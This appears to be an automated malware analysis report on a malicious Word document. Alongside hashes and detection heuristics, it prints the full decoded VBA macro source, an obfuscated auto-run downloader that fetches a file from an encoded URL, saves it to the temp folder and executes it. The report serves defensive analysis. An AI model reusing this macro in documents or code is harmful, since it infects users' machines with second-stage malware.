Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2e7f38813848950d…

MALICIOUS

Office (OLE)

34.0 KB Created: 2018-11-06 04:27:00 Authoring application: Microsoft Office Word First seen: 2018-11-20
MD5: 1fae413342199194a43f6621285bdc8a SHA-1: 730221a9592a1f361d59ffdbb84e408482da54c0 SHA-256: 2e7f38813848950da9176df172f37c4ba685855da8e9a98923628ed430d45b74
238 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains VBA macros, specifically a Document_Open macro that utilizes CreateObject to instantiate a Microsoft XML HTTP object. This object is then used to download a file from an embedded URL and save it to disk, indicating an attempt to fetch and execute a second-stage payload. The ClamAV detection also confirms its malicious nature as a downloader.

Heuristics 8

  • ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    KJMEBETHZIJLHTIWPNHRNIPULLFYMWDKBKDFRMKIQPBLXBYFGNYYEJGUDMWGDXNSSRTMJMCIIQRTPCJFXOPZOQXDNTNG = SRTMJMCIIQRTPCJFXOPZOQXDNTNGUFFSJSLNZNSPYXJTGCZGOVHBFRODEUFHLGVBBZCORUKQQXZCXKRNGWXIWYGEVCOOCHNB.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set SRTMJMCIIQRTPCJFXOPZOQXDNTNGUFFSJSLNZNSPYXJTGCZGOVHBFRODEUFHLGVBBZCORUKQQXZCXKRNGWXIWYGEVCOOCHNB = CreateObject("microsoft.xmlhttp")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    MCIIQRTPCJFXOPZOQXDNTNGUFFSJSLNZNSPYXJTGCZGOVHBFRODEUFHLGVBBZCORUKQQXZCXKRNGWXIWYGEVCOOCHNBLB = Environ("tmp") + HMEDWWKOVJSJUEKEDZIHSKPSQWFGQRVHXMULOXCWMKKJMEBETHZIJLHTIWPNHRNIPULLFYMWDKBKDFRMKIQPB("hX_Yc_Zaf:q„q")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4097 bytes
SHA-256: 0f7050c9a06d3747962c11d621cda3f75ef9ce69ef6abd1d201fa590d2c170b2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
    Function HMEDWWKOVJSJUEKEDZIHSKPSQWFGQRVHXMULOXCWMKKJMEBETHZIJLHTIWPNHRNIPULLFYMWDKBKDFRMKIQPB(ByVal s As String)
        Dim MVIVBXHYKCHKIOWEIJNZWLMDGPTOECCBEVZDLYYGCDYLZPOFYJFZHMEDWWKOVJSJUEKEDZIHSKPSQWFGQRVHXMULOXCWMKKJ, MEBETHZIJLHTIWPNHRNIPULLFYMWDKBKDFRMKIQPBLXBYFGNYYEJGUDMWGDXNSSRTMJMCIIQRTPCJFXOPZOQXD As String
        For i = 1 To Len(s)
            MVIVBXHYKCHKIOWEIJNZWLMDGPTOECCBEVZDLYYGCDYLZPOFYJFZHMEDWWKOVJSJUEKEDZIHSKPSQWFGQRVHXMULOXCWMKKJ = Mid(s, i, 1)
            MVIVBXHYKCHKIOWEIJNZWLMDGPTOECCBEVZDLYYGCDYLZPOFYJFZHMEDWWKOVJSJUEKEDZIHSKPSQWFGQRVHXMULOXCWMKKJ = Chr(Asc(MVIVBXHYKCHKIOWEIJNZWLMDGPTOECCBEVZDLYYGCDYLZPOFYJFZHMEDWWKOVJSJUEKEDZIHSKPSQWFGQRVHXMULOXCWMKKJ) - 12)
            MEBETHZIJLHTIWPNHRNIPULLFYMWDKBKDFRMKIQPBLXBYFGNYYEJGUDMWGDXNSSRTMJMCIIQRTPCJFXOPZOQXD = MEBETHZIJLHTIWPNHRNIPULLFYMWDKBKDFRMKIQPBLXBYFGNYYEJGUDMWGDXNSSRTMJMCIIQRTPCJFXOPZOQXD & MVIVBXHYKCHKIOWEIJNZWLMDGPTOECCBEVZDLYYGCDYLZPOFYJFZHMEDWWKOVJSJUEKEDZIHSKPSQWFGQRVHXMULOXCWMKKJ
        Next
        HMEDWWKOVJSJUEKEDZIHSKPSQWFGQRVHXMULOXCWMKKJMEBETHZIJLHTIWPNHRNIPULLFYMWDKBKDFRMKIQPB = MEBETHZIJLHTIWPNHRNIPULLFYMWDKBKDFRMKIQPBLXBYFGNYYEJGUDMWGDXNSSRTMJMCIIQRTPCJFXOPZOQXD
    End Function

Private Sub Document_Open()
Dim SRTMJMCIIQRTPCJFXOPZOQXDNTNGUFFSJSLNZNSPYXJTGCZGOVHBFRODEUFHLGVBBZCORUKQQXZCXKRNGWXIWYGEVCOOCHNB
Set SRTMJMCIIQRTPCJFXOPZOQXDNTNGUFFSJSLNZNSPYXJTGCZGOVHBFRODEUFHLGVBBZCORUKQQXZCXKRNGWXIWYGEVCOOCHNB = CreateObject("microsoft.xmlhttp")
Dim MCIIQRTPCJFXOPZOQXDNTNGUFFSJSLNZNSPYXJTGCZGOVHBFRODEUFHLGVBBZCORUKQQXZCXKRNGWXIWYGEVCOOCHNBLB
Dim LLFYMWDKBKDFRMKIQPBLXBYFGNYYEJGUDMWGDXNSSRTMJMCIIQRTPCJFXOPZOQXDNTNGUFFSJSLNZNSPYXJTGCZGOVHBFRODE
Set LLFYMWDKBKDFRMKIQPBLXBYFGNYYEJGUDMWGDXNSSRTMJMCIIQRTPCJFXOPZOQXDNTNGUFFSJSLNZNSPYXJTGCZGOVHBFRODE = CreateObject("Shell.Application")

MCIIQRTPCJFXOPZOQXDNTNGUFFSJSLNZNSPYXJTGCZGOVHBFRODEUFHLGVBBZCORUKQQXZCXKRNGWXIWYGEVCOOCHNBLB = Environ("tmp") + HMEDWWKOVJSJUEKEDZIHSKPSQWFGQRVHXMULOXCWMKKJMEBETHZIJLHTIWPNHRNIPULLFYMWDKBKDFRMKIQPB("hX_Yc_Zaf:q„q")
SRTMJMCIIQRTPCJFXOPZOQXDNTNGUFFSJSLNZNSPYXJTGCZGOVHBFRODEUFHLGVBBZCORUKQQXZCXKRNGWXIWYGEVCOOCHNB.Open "GET", HMEDWWKOVJSJUEKEDZIHSKPSQWFGQRVHXMULOXCWMKKJMEBETHZIJLHTIWPNHRNIPULLFYMWDKBKDFRMKIQPB("t€€|F;;|m€{uy|q„:o{y;uzr<;zmz{|uxx=:q„q"), False
SRTMJMCIIQRTPCJFXOPZOQXDNTNGUFFSJSLNZNSPYXJTGCZGOVHBFRODEUFHLGVBBZCORUKQQXZCXKRNGWXIWYGEVCOOCHNB.send
KJMEBETHZIJLHTIWPNHRNIPULLFYMWDKBKDFRMKIQPBLXBYFGNYYEJGUDMWGDXNSSRTMJMCIIQRTPCJFXOPZOQXDNTNG = SRTMJMCIIQRTPCJFXOPZOQXDNTNGUFFSJSLNZNSPYXJTGCZGOVHBFRODEUFHLGVBBZCORUKQQXZCXKRNGWXIWYGEVCOOCHNB.responseBody
If SRTMJMCIIQRTPCJFXOPZOQXDNTNGUFFSJSLNZNSPYXJTGCZGOVHBFRODEUFHLGVBBZCORUKQQXZCXKRNGWXIWYGEVCOOCHNB.Status = 200 Then
Set CCBEVZDLYYGCDYLZPOFYJFZHMEDWWKOVJSJUEKEDZIHSKPSQWFGQRVHXMULOXCWMKKJMEBETHZIJLHTIWPNHR = CreateObject("adodb.stream")
CCBEVZDLYYGCDYLZPOFYJFZHMEDWWKOVJSJUEKEDZIHSKPSQWFGQRVHXMULOXCWMKKJMEBETHZIJLHTIWPNHR.Open
CCBEVZDLYYGCDYLZPOFYJFZHMEDWWKOVJSJUEKEDZIHSKPSQWFGQRVHXMULOXCWMKKJMEBETHZIJLHTIWPNHR.Type = 1
CCBEVZDLYYGCDYLZPOFYJFZHMEDWWKOVJSJUEKEDZIHSKPSQWFGQRVHXMULOXCWMKKJMEBETHZIJLHTIWPNHR.Write KJMEBETHZIJLHTIWPNHRNIPULLFYMWDKBKDFRMKIQPBLXBYFGNYYEJGUDMWGDXNSSRTMJMCIIQRTPCJFXOPZOQXDNTNG
CCBEVZDLYYGCDYLZPOFYJFZHMEDWWKOVJSJUEKEDZIHSKPSQWFGQRVHXMULOXCWMKKJMEBETHZIJLHTIWPNHR.SaveToFile MCIIQRTPCJFXOPZOQXDNTNGUFFSJSLNZNSPYXJTGCZGOVHBFRODEUFHLGVBBZCORUKQQXZCXKRNGWXIWYGEVCOOCHNBLB, 2
CCBEVZDLYYGCDYLZPOFYJFZHMEDWWKOVJSJUEKEDZIHSKPSQWFGQRVHXMULOXCWMKKJMEBETHZIJLHTIWPNHR.Close
End If
LLFYMWDKBKDFRMKIQPBLXBYFGNYYEJGUDMWGDXNSSRTMJMCIIQRTPCJFXOPZOQXDNTNGUFFSJSLNZNSPYXJTGCZGOVHBFRODE.Open (MCIIQRTPCJFXOPZOQXDNTNGUFFSJSLNZNSPYXJTGCZGOVHBFRODEUFHLGVBBZCORUKQQXZCXKRNGWXIWYGEVCOOCHNBLB)


End Sub

Attribute VB_Name = "NewMacros"
Sub file()
'
' file Macro
'
'

End Sub

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